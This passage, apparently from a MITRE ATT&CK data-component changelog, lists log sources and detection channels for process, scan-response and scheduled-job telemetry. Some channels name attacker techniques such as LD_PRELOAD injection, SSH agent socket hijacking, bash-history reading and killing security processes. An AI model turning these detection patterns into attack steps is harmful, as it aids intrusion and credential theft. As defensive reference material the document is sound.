"subsystem=com.apple.process" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads" + }, + { + "name": "linux:syslog", + "channel": "sudo or service accounts invoking loaders with suspicious env vars" + }, + { + "name": "macos:osquery", + "channel": "Process Context" + }, + { + "name": "esxi:auth", + "channel": "user session" + }, + { + "name": "networkdevice:syslog", + "channel": "Admin activity" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call for sudo where euid != uid" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.TCC" + }, + { + "name": "macos:unifiedlog", + "channel": "exec of binary with setuid/setgid and EUID != UID" + }, + { + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "name": "auditd:SYSCALL", + "channel": "Use of fork/exec with DISPLAY unset or redirected" + }, + { + "name": "EDR:Telemetry", + "channel": "Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log API calls reading/altering time/ntp settings" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, prctl, or ptrace activity affecting process memory or command-line arguments" + }, + { + "name": "linux:osquery", + "channel": "Cross-reference argv[0] with actual executable path and parent process metadata" + }, + { + "name": "WinEventLog:AppLocker", + "channel": "AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy" + }, + { + "name": "EDR:hunting", + "channel": "Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)" + }, + { + "name": "WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode", + "channel": "ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads" + }, + { + "name": "etw:Microsoft-Windows-ClickOnce", + "channel": "provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational", + "channel": "Process session start/stop events for camera pipeline by unexpected executables" + }, + { + "name": "linux:osquery", + "channel": "select: path LIKE '/dev/video%'" + }, + { + "name": "linux:osquery", + "channel": "state=attached/debugged" + }, + { + "name": "macos:unifiedlog", + "channel": "Code Execution & Entitlement Access" + }, + { + "name": "macos:unifiedlog", + "channel": "Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID" + }, + { + "name": "macos:unifiedlog", + "channel": "code signature/memory protection" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with UID \u2260 EUID" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with escalated privileges" + }, + { + "name": "AWS:CloudTrail", + "channel": "cross-account or unexpected assume role" + }, + { + "name": "macos:unifiedlog", + "channel": "log collect from launchd and process start" + }, + { + "name": "containerd:events", + "channel": "Docker or containerd image pulls and process executions" + }, + { + "name": "linux:syslog", + "channel": "Kernel or daemon warnings of downgraded TLS or cryptographic settings" + }, + { + "name": "macos:unifiedlog", + "channel": "Modifications or writes to EFI system partition for downgraded bootloaders" + }, + { + "name": "macos:unifiedlog", + "channel": "non-shell process tree accessing bash history" + }, + { + "name": "linux:osquery", + "channel": "process metadata mismatch between /proc and runtime attributes" + }, + { + "name": "linux:osquery", + "channel": "process environment variables containing LD_PRELOAD" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=400,403" + }, + { + "name": "macos:osquery", + "channel": "Process Execution + Hash" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "process_start: EventHeader.ProcessId true parent vs reported PPID mismatch" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned/invalid signature modules or images loaded by msbuild.exe or its children" + }, + { + "name": "WinEventLog:Microsoft-Windows-DeviceGuard/Operational", + "channel": "WDAC policy audit/block affecting msbuild.exe spawned payloads" + }, + { + "name": "WinEventLog:Microsoft-Windows-SmartAppControl/Operational", + "channel": "Smart App Control decisions (audit/block) for msbuild.exe-launched executables" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned or untrusted modules loaded during JamPlus.exe runtime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0034\", \"external_id\": \"DC0034\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.process\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo or service accounts invoking loaders with suspicious env vars\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Context\"}, {\"name\": \"esxi:auth\", \"channel\": \"user session\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Admin activity\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call for sudo where euid != uid\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.TCC\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec of binary with setuid/setgid and EUID != UID\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Use of fork/exec with DISPLAY unset or redirected\"}, {\"name\": \"EDR:Telemetry\", \"channel\": \"Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log API calls reading/altering time/ntp settings\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, prctl, or ptrace activity affecting process memory or command-line arguments\"}, {\"name\": \"linux:osquery\", \"channel\": \"Cross-reference argv[0] with actual executable path and parent process metadata\"}, {\"name\": \"WinEventLog:AppLocker\", \"channel\": \"AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy\"}, {\"name\": \"EDR:hunting\", \"channel\": \"Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode\", \"channel\": \"ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads\"}, {\"name\": \"etw:Microsoft-Windows-ClickOnce\", \"channel\": \"provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational\", \"channel\": \"Process session start/stop events for camera pipeline by unexpected executables\"}, {\"name\": \"linux:osquery\", \"channel\": \"select: path LIKE '/dev/video%'\"}, {\"name\": \"linux:osquery\", \"channel\": \"state=attached/debugged\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Code Execution & Entitlement Access\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"code signature/memory protection\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with UID \\u2260 EUID\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with escalated privileges\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"cross-account or unexpected assume role\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log collect from launchd and process start\"}, {\"name\": \"containerd:events\", \"channel\": \"Docker or containerd image pulls and process executions\"}, {\"name\": \"linux:syslog\", \"channel\": \"Kernel or daemon warnings of downgraded TLS or cryptographic settings\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modifications or writes to EFI system partition for downgraded bootloaders\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"non-shell process tree accessing bash history\"}, {\"name\": \"linux:osquery\", \"channel\": \"process metadata mismatch between /proc and runtime attributes\"}, {\"name\": \"linux:osquery\", \"channel\": \"process environment variables containing LD_PRELOAD\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=400,403\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Execution + Hash\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"process_start: EventHeader.ProcessId true parent vs reported PPID mismatch\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned/invalid signature modules or images loaded by msbuild.exe or its children\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DeviceGuard/Operational\", \"channel\": \"WDAC policy audit/block affecting msbuild.exe spawned payloads\"}, {\"name\": \"WinEventLog:Microsoft-Windows-SmartAppControl/Operational\", \"channel\": \"Smart App Control decisions (audit/block) for msbuild.exe-launched executables\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned or untrusted modules loaded during JamPlus.exe runtime\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.331000+00:00\", \"old_value\": \"2025-04-18 15:10:37.873000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:35.747000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0020", + "external_id": "DC0020" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Modification", + "description": "Changes made to a running process, such as writing data into memory, modifying execution behavior, or injecting code into an existing process. Adversaries frequently modify processes to execute malicious payloads, evade detection, or gain escalated privileges.\n\n*Data Collection Measures:* \n\n- Endpoint Detection and Response (EDR) Tools:\n - EDRs can monitor memory modifications and API-level calls.\n- Sysmon (Windows):\n - Event ID 8 (CreateRemoteThread) \u2013 Detects cross-process thread injection, commonly used in process hollowing.\n - Event ID 10 (Process Access) \u2013 Detects access attempts to another process, often preceding injection attempts.\n- Linux/macOS Monitoring:\n - AuditD (ptrace, mmap, mprotect syscalls): Detects memory modifications and debugging attempts.\n - eBPF/XDP: Monitors low-level system calls related to process modifications.\n - OSQuery: The processes table can be queried for unusual modifications.\n- Network-Based Monitoring:\n - Zeek (Bro) Logs: Captures lateral movement attempts where adversaries remotely modify a process.\n - Syslog/OSSEC: Monitors logs for suspicious modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "auditd:SYSCALL", + "channel": "rename, chmod" + }, + { + "name": "auditd:SYSCALL", + "channel": "mprotect" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_MMAP" + }, + { + "name": "auditd:SYSCALL", + "channel": "kill syscalls targeting auditd process" + }, + { + "name": "macos:unifiedlog", + "channel": "memory mapping" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "name": "macos:osquery", + "channel": "Memory Mappings" + }, + { + "name": "ebpf:tracepoints", + "channel": "Runtime memory overwrite of argv[] memory region" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process" + }, + { + "name": "macos:unifiedlog", + "channel": "Anomalous dyld dynamic library loads or RWX memory mappings in browser process" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, rename" + }, + { + "name": "auditd:SYSCALL", + "channel": "SYSCALL ptrace/mprotect" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_MMAP" + }, + { + "name": "macos:unifiedlog", + "channel": "process, library load, memory operations" + }, + { + "name": "auditd:SYSCALL", + "channel": "rename" + }, + { + "name": "linux:osquery", + "channel": "Detection of bitwise operations or custom encryption functions in memory traces" + }, + { + "name": "macos:unifiedlog", + "channel": "Abnormal memory operations (XOR/bitwise loops) during archive generation" + }, + { + "name": "auditd:memprotect", + "channel": "change from PROT_READ|PROT_WRITE to PROT_EXEC" + }, + { + "name": "linux:procfs", + "channel": "/proc/[pid]/maps, /proc/[pid]/mem" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0020\", \"external_id\": \"DC0020\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"auditd:SYSCALL\", \"channel\": \"rename, chmod\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mprotect\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_MMAP\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"kill syscalls targeting auditd process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"memory mapping\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=8\"}, {\"name\": \"macos:osquery\", \"channel\": \"Memory Mappings\"}, {\"name\": \"ebpf:tracepoints\", \"channel\": \"Runtime memory overwrite of argv[] memory region\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Anomalous dyld dynamic library loads or RWX memory mappings in browser process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, rename\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"SYSCALL ptrace/mprotect\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_MMAP\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process, library load, memory operations\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"rename\"}, {\"name\": \"linux:osquery\", \"channel\": \"Detection of bitwise operations or custom encryption functions in memory traces\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Abnormal memory operations (XOR/bitwise loops) during archive generation\"}, {\"name\": \"auditd:memprotect\", \"channel\": \"change from PROT_READ|PROT_WRITE to PROT_EXEC\"}, {\"name\": \"linux:procfs\", \"channel\": \"/proc/[pid]/maps, /proc/[pid]/mem\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.747000+00:00\", \"old_value\": \"2025-04-18 15:10:43.915000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.181000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0033", + "external_id": "DC0033" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Termination", + "description": "The exit or termination of a running process on a system. This can occur due to normal operations, user-initiated commands, or malicious actions such as process termination by malware to disable security controls.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - Monitor process termination events.\n- Windows Event Logs:\n - Event ID 4689 (Process Termination) \u2013 Captures when a process exits, including process ID and parent process.\n - Event ID 7036 (Service Control Manager) \u2013 Monitors system service stops.\n- Sysmon (Windows):\n - Event ID 5 (Process Termination) \u2013 Detects when a process exits, including parent-child relationships.\n- Linux/macOS Monitoring:\n - AuditD (`execve`, `exit_group`, `kill` syscalls) \u2013 Captures process termination via command-line interactions.\n - eBPF/XDP: Monitors low-level system calls related to process termination.\n - OSQuery: The processes table can be queried for abnormal exits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=5" + }, + { + "name": "linux:syslog", + "channel": "Unexpected termination of daemons or critical services not aligned with admin change tickets" + }, + { + "name": "macos:osquery", + "channel": "process_termination: Unexpected termination of processes tied to vulnerable or high-value services" + }, + { + "name": "esxi:hostd", + "channel": "Log entries indicating VM powered off or forcibly terminated" + }, + { + "name": "macos:unifiedlog", + "channel": "Terminal process killed (killall Terminal) immediately after sudoers modification" + }, + { + "name": "auditd:SYSCALL", + "channel": "exit_group" + }, + { + "name": "macos:unifiedlog", + "channel": "process.*exit.*code" + }, + { + "name": "linux:osquery", + "channel": "unexpected termination of syslog or rsyslog processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "Process segfault or abnormal termination after invoking vulnerable syscall sequence" + }, + { + "name": "auditd:SYSCALL", + "channel": "kill syscalls targeting logging/security processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Termination of syspolicyd or XProtect processes" + }, + { + "name": "docker:runtime", + "channel": "Termination of monitoring sidecar or security container" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0033\", \"external_id\": \"DC0033\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=5\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected termination of daemons or critical services not aligned with admin change tickets\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_termination: Unexpected termination of processes tied to vulnerable or high-value services\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Log entries indicating VM powered off or forcibly terminated\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Terminal process killed (killall Terminal) immediately after sudoers modification\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"exit_group\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process.*exit.*code\"}, {\"name\": \"linux:osquery\", \"channel\": \"unexpected termination of syslog or rsyslog processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Process segfault or abnormal termination after invoking vulnerable syscall sequence\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"kill syscalls targeting logging/security processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Termination of syspolicyd or XProtect processes\"}, {\"name\": \"docker:runtime\", \"channel\": \"Termination of monitoring sidecar or security container\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.181000+00:00\", \"old_value\": \"2025-04-18 15:10:34.519000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:40.412000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0104", + "external_id": "DC0104" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Response Content", + "description": "Captured network traffic that provides details about responses received during an internet scan. This data includes both protocol header values (e.g., HTTP status codes, IP headers, or DNS response codes) and response body content (e.g., HTML, JSON, or raw data). Examples:\n\n- HTTP Scan: A web server responds to a probe with an HTTP 200 status code and an HTML body indicating the default page is accessible.\n- DNS Scan: A DNS server replies to a query with a resolved IP address for a domain, along with details like Time-To-Live (TTL) and authoritative information.\n- TCP Banner Grab: A service listening on a port (e.g., SSH or FTP) responds with a banner containing service name, version, or other metadata.\n\n*Data Collection Measures:*\n\n- Network Traffic Monitoring:\n - Deploy packet capture tools like Wireshark, tcpdump, or Suricata to log both headers and body content of response traffic.\n - Use network appliances like firewalls, intrusion detection systems (IDS), or intrusion prevention systems (IPS) with logging enabled to capture scan responses.\n- Cloud Logging Services:\n - AWS VPC Flow Logs: Capture metadata about network flows, including source and destination, protocol, and response codes.\n - GCP Packet Mirroring: Use mirrored packets to analyze responses.\n - Azure NSG Flow Logs: Record network traffic flow information for analysis.\n- Specific Tools:\n - Zmap or Masscan: Can perform internet-wide scans and collect response content for analysis.\n - Nmap: Use custom scripts to capture and log detailed response data during scans.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Internet Scan", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious changes in TLS certificate responses or redirected domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0104\", \"external_id\": \"DC0104\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Internet Scan\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious changes in TLS certificate responses or redirected domains\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.412000+00:00\", \"old_value\": \"2025-04-18 15:13:36.394000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:40.350000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0106", + "external_id": "DC0106" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Response Metadata", + "description": "Contextual information about an Internet-facing resource collected during a scan, including details such as open ports, running services, protocols, and versions. This metadata is typically derived from interpreting scan results and helps build a profile of the targeted system. Examples: \n\n- Port and Service Details:\n - Open ports (e.g., 22, 80, 443).\n - Identified services running on those ports (e.g., SSH, HTTP, HTTPS).\n- Service Versions: Detected software version information (e.g., Apache 2.4.41, OpenSSH 8.2).\n- Operating System Information: OS fingerprinting data (e.g., Linux Kernel 5.4.0).\n- TLS/SSL Certificate Data: Information about the TLS/SSL certificate, such as the expiration date, issuer, and cipher suites.\n\n*Data Collection Measures:*\n\n- Scanning Tools:\n - Nmap: Collects port, service, and version information using commands like nmap -sV .\n - Masscan: High-speed scanning tool for discovering open ports and active services.\n - Zmap: Focused on large-scale Internet scanning, collecting metadata about discovered services.\n - Shodan API: Retrieves scan metadata for publicly exposed devices and services.\n- Network Logs:\n - Use logs from firewalls, intrusion detection systems (IDS), or intrusion prevention systems (IPS) to gather metadata from scan attempts. Example: Zeek or Suricata logs for incoming scan traffic.\n- OSINT Platforms: Platforms like Censys, GreyNoise, or Shodan provide aggregated metadata about Internet-facing resources.\n- Cloud Metadata Services: AWS Security Hub, Azure Monitor, or GCP Security Command Center can collect and centralize scan-related metadata for Internet-facing resources in cloud environments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Internet Scan", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Altered response metadata or blocked content based on user-agent or geolocation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0106\", \"external_id\": \"DC0106\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Internet Scan\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Altered response metadata or blocked content based on user-agent or geolocation\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.350000+00:00\", \"old_value\": \"2025-04-18 15:13:39.602000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:35.814000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0001", + "external_id": "DC0001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job Creation", + "description": "The establishment of a task or job that will execute at a predefined time or based on specific triggers.\n\n*Data Collection Measures: *\n\n- Windows Event Logs:\n - Event ID 4698 (Scheduled Task Created) \u2013 Detects the creation of new scheduled tasks.\n - Event ID 4702 (Scheduled Task Updated) \u2013 Identifies modifications to existing scheduled jobs.\n - Event ID 106 (TaskScheduler Operational Log) \u2013 Provides details about scheduled task execution.\n- Sysmon (Windows):\n - Event ID 1 (Process Creation) \u2013 Detects the execution of suspicious tasks started by `schtasks.exe`, `at.exe`, or `taskeng.exe`.\n- Linux/macOS Monitoring:\n - AuditD: Monitor modifications to `/etc/cron*`, `/var/spool/cron/`, and `crontab` files.\n - Syslog: Capture cron job execution logs from `/var/log/cron`.\n - OSQuery: Query the `crontab` and `launchd` tables for scheduled job configurations.\n- Endpoint Detection and Response (EDR) Tools:\n - Track scheduled task creation and modification events.\n- SIEM & XDR Detection Rules:\n - Monitor for scheduled jobs created by unusual users.\n - Detect tasks executing scripts from non-standard directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Scheduled Job", + "channel": "None" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "name": "linux:syslog", + "channel": "Execution of non-standard script or binary by cron" + }, + { + "name": "WinEventLog:TaskScheduler", + "channel": "EventCode=106" + }, + { + "name": "linux:osquery", + "channel": "crontab, systemd_timers" + }, + { + "name": "macos:osquery", + "channel": "launchd_jobs" + }, + { + "name": "esxi:vmkernel", + "channel": "Startup script and task execution logs" + }, + { + "name": "kubernetes:apiserver", + "channel": "verb=create, resource=cronjobs, group=batch" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "macos:unifiedlog", + "channel": "process: crontab edits, launch of cron job" + }, + { + "name": "macos:osquery", + "channel": "file_events - cron, launchd" + }, + { + "name": "esxi:cron", + 